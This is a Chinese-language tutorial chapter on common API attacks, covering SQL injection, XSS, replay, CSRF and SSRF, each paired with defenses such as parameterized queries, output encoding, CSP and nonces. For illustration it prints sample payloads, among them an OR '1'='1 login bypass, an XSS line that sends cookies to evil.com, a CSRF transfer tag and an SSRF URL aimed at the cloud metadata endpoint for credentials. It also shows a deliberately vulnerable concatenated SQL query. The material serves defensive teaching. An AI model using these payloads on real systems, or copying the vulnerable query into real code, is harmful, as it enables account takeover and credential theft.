3、接口安全威胁分析:常见API攻击

做接口治理这些年,我见过太多安全翻车案例了。说实话,很多团队上来就搞国密算法、搞证书,结果连最基础的SQL注入都没防住。你想想看,攻击者根本不需要破解你的加密,他只要在参数里塞个单引号,你的用户表可能就裸奔了。

这一章咱们就聊聊API最常见的几种攻击套路。我不是要吓唬人,而是想帮你建立一种“攻击者视角”——知道他们怎么打,才知道怎么防。

3.1 SQL注入:最老但也最致命的入口

SQL注入说白了就是攻击者把恶意SQL语句塞进输入框或URL参数里,让后端数据库去执行。我在项目中遇到过最离谱的一次,某系统登录接口直接把用户名拼进了SQL:

# 伪代码,千万别学这种
sql = "SELECT * FROM users WHERE name='" + username + "' AND pwd='" + password + "'"

攻击者输入admin' OR '1'='1,密码随便填个' OR '1'='1。好家伙,整张表都回来了。这就是经典的万能密码注入。

为什么数据库会乖乖执行?因为开发者把用户输入当成了代码的一部分,而不是数据。我个人的一条铁律:永远不要拼接SQL字符串。参数化查询是底线。

我的建议: 只要涉及数据库操作,一律用预编译语句(PreparedStatement)或ORM框架自带的参数绑定。国密接口里经常要存敏感数据,一旦注入,加密等于白做。

除了万能密码,还有更隐蔽的盲注(Blind Injection)。攻击者不直接拿数据,而是通过页面响应时间或真假判断来逐字猜解数据库内容。我曾经排查过一个奇怪的现象——某查询接口每次请求都慢0.5秒,后来发现攻击者用sleep()函数在做时间盲注。那段时间我们整个组都在跟日志搏斗。

避坑指南: 我曾经以为只要用了ORM框架就万事大吉,结果发现框架里写了nativeQuery=true,直接又回到了拼接的老路。所以,代码审查要盯死所有“原生SQL”调用。

3.2 XSS(跨站脚本攻击):狡猾的脚本注入

XSS和SQL注入有点类似,但目标不是数据库,而是浏览器。攻击者在接口返回的HTML里嵌入恶意JavaScript,当其他用户加载页面时,脚本就偷偷运行了。

举个例子,一个评论接口:

// 如果后端直接返回用户输入的评论
res.json({ content: userInput });
// 前端渲染时没有转义
document.getElementById("comment").innerHTML = content;

攻击者提交<script>alert(document.cookie)</script>,每个看评论的人都会弹出一个cookie。嗯,攻击者拿走cookie就能模拟登录,甚至把整个站点的都偷走。

我遇到过最蛋疼的一次,是某内部管理系统的搜索框,搜索词直接回显在标题里。有人塞了个<img src="x" onerror="fetch('http://evil.com/?c='+document.cookie)">——图片加载失败触发onerror,cookie就被外带了。这就是经典的存储型XSS。

XSS类型 触发方式 典型场景
反射型 恶意链接,参数里带脚本 搜索接口、错误页面
存储型 脚本存在数据库,每次访问都执行 评论、留言、用户资料
DOM型 前端代码漏洞,不经过后端 URL hash、location属性
我个人的习惯: 后端返回数据时,至少做一次HTML实体编码(< 转 &lt;)。前端渲染时但凡用innerHTML,一律用textContent替代。加上Content-Security-Policy头,能直接掐死内联脚本。

3.3 重放攻击:窃听者最安静的武器

重放攻击不像前两种那样“修改”数据,它只是原样发送一个已经合法的请求。攻击者截获了你在API里发送的加密报文,然后原封不动地重发一遍。为什么它能生效?因为你的接口没有区分“这个请求是不是第一次出现”。

记得有一次,我们给某金融客户做对账接口,没加nonce(一次性随机数)。攻击者截获了转账请求,连发了100次,结果账户被扣了100次。那时候我们才意识到,签名加密只能防篡改,防不了重放。

对抗重放攻击有三个经典套路:

  • 时间戳 + 窗口验证:服务端检查请求时间戳,偏差超过(比如)60秒就拒绝。缺点:网络延迟可能误伤,而且攻击者在时间窗口内依然可以重放。
  • Nonce一次性随机数:每次请求带一个随机数,服务端用完后记录,拒绝重复值。我习惯用Redis记录已用Nonce,过期时间设成时间窗口的2倍。
  • 序号机制:客户端和服务端维护递增序号,上一个序号用过了就不再接受。比较适合长连接场景。
避坑指南: 我曾经只用了时间戳,觉得够用了。结果攻击者在30秒内重放,我们的系统毫无反应。所以我现在都是时间戳 + Nonce + 签名三重保险。国密接口里SM2签名能保证报文完整性,但Nonce才是防重放的命门。

3.4 其他常见的API攻击

除了上面三个“主力”,还有几个攻击我建议你也了解一下:

  • CSRF(跨站请求伪造):攻击者诱导用户点击链接,利用用户已登录的浏览器发请求。老招数是图片标签<img src="https://bank.com/transfer?to=attacker&amount=10000">。防护:加CSRF 、验证Referer、用SameSite Cookie。
  • SSRF(服务端请求伪造):攻击者让API去访问内部资源(比如内网的数据库、云元数据API)。我在某个文件下载接口见过,参数url=http://169.254.169.254/latest/meta-data/,直接拿到了云服务器的临时密钥。防护:白名单域名、禁用内网IP、限制协议。
  • 暴力破解:不解释,登录接口、验证码接口的重灾区。限流+验证码+失败锁定是基本操作。
核心观点: 安全不是叠加功能,而是默认假设所有输入都是恶意的。你每写一个接口,都应该先问自己:“如果我是攻击者,我该怎么利用这个接口?”

本章知识图谱

下面这张图把常见API攻击按攻击目标做了分类,方便你建立整体认知:

常见API攻击分类 API攻击 注入类(数据层) 跨站类(客户端) 欺骗/重放类(链路层) SQL注入 NoSQL注入 命令注入 XSS CSRF 点击劫持 重放攻击 SSRF 暴力破解 护原理分层 数据层:参数化查询、输入过滤 客户端:Content-Security-Policy、HttpOnly Cookie 链路层:时间戳 + Nonce + 签名

你看,攻击者可以从三个层面切入:数据层(注入)、客户端(跨站)、链路层(欺骗/重放)。每一层都有对应的防御手段,你不需要一次全做,但至少要清楚自己的接口暴露在哪些风险里。

3.5 小结:攻击者视角 + 分层防御

说了这么多,其实归纳起来就一句话:把你的接口当成一个敞口的防护网,攻击者会从每一个洞往里钻。SQL注入和XSS靠的是“把用户输入当代码”——参数化查询和输出编码就是补这个洞的。重放攻击靠的是“请求可以重复使用”——Nonce和时间戳就是让每次请求独一无二的。

我个人习惯在做接口设计时就画一张攻击树,像上面的SVG一样,把可能的攻击路径标出来。然后逐一评估:当前接口能不能扛住?如果不能,是加参数过滤、加签名还是加限流?千万别等上线被打了再补——那个时候你已经暴露在日志里的异常数据中才能发现问题,代价太大了。

好了,这一章的内容就到这儿。下次遇到攻击,至少心里有数。